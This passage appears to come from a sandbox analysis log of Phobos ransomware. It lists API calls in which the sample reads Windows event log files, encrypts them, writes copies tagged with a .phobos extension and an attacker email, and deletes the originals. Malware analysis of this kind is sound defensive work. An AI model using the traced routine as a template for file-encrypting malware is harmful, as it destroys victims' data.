CloseHandle (hObject=0x338) returned 1 [0058.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0058.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.904] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.905] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.905] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.905] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc690) returned 1 [0058.907] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.907] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.923] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.923] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.925] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dca50) returned 1 [0058.925] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.925] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0058.925] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.925] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0058.925] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.925] CloseHandle (hObject=0x338) returned 1 [0058.925] CloseHandle (hObject=0x304) returned 1 [0058.927] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0058.928] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.928] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.933] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.933] CloseHandle (hObject=0x304) returned 1 [0058.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0058.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.933] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.934] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.934] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.934] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.934] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcc10) returned 1 [0058.934] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.934] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.954] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.955] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.957] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dccd0) returned 1 [0058.957] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.957] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0058.957] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0058.957] WriteFile (in: hFile=0x338, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0058.957] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.957] CloseHandle (hObject=0x304) returned 1 [0058.957] CloseHandle (hObject=0x338) returned 1 [0058.959] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0058.960] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0058.960] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.960] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0058.960] CloseHandle (hObject=0x338) returned 1 [0058.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0058.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.961] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.961] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.961] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0058.961] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.961] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc690) returned 1 [0058.961] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.961] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0058.980] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0058.980] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0058.982] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0058.982] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0058.982] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0058.982] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.982] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0058.982] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.982] CloseHandle (hObject=0x338) returned 1 [0058.982] CloseHandle (hObject=0x304) returned 1 [0058.991] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0059.003] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0059.003] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.003] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1052672) returned 1 [0059.004] CloseHandle (hObject=0x338) returned 1 [0059.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0059.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.004] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.004] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.004] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.004] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.004] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc8d0) returned 1 [0059.004] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.004] ReadFile (in: hFile=0x338, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x101000, lpOverlapped=0x0) returned 1 [0059.601] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x101010, dwBufLen=0x101010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x101010) returned 1 [0059.602] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x101010, lpOverlapped=0x0) returned 1 [0059.619] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0059.619] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.619] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90, dwBufLen=0x90 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x90) returned 1 [0059.619] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.619] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x142, lpOverlapped=0x0) returned 1 [0059.619] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0059.619] CloseHandle (hObject=0x338) returned 1 [0059.619] CloseHandle (hObject=0x300) returned 1 [0059.637] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0059.700] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0059.700] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.700] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0059.700] CloseHandle (hObject=0x328) returned 1 [0059.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0059.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.700] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.701] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.701] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc8d0) returned 1 [0059.701] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.701] ReadFile (in: hFile=0x328, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0059.931] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0059.931] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0059.933] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dca50) returned 1 [0059.933] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.933] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0059.933] CryptDestroyKey (hKey=0x10dca50) returned 1 [0059.933] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0059.933] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0059.933] CloseHandle (hObject=0x328) returned 1 [0059.933] CloseHandle (hObject=0x310) returned 1 [0059.935] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0059.936] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0059.936] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.942] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0059.942] CloseHandle (hObject=0x310) returned 1 [0059.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0059.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.942] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.942] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.942] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0059.942] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0059.943] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc750) returned 1 [0059.943] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.943] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0059.973] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0059.973] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0059.974] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0059.974] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0059.974] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0, dwBufLen=0xc0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0) returned 1 [0059.974] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.974] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x172, lpOverlapped=0x0) returned 1 [0059.974] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.974] CloseHandle (hObject=0x310) returned 1 [0059.974] CloseHandle (hObject=0x328) returned 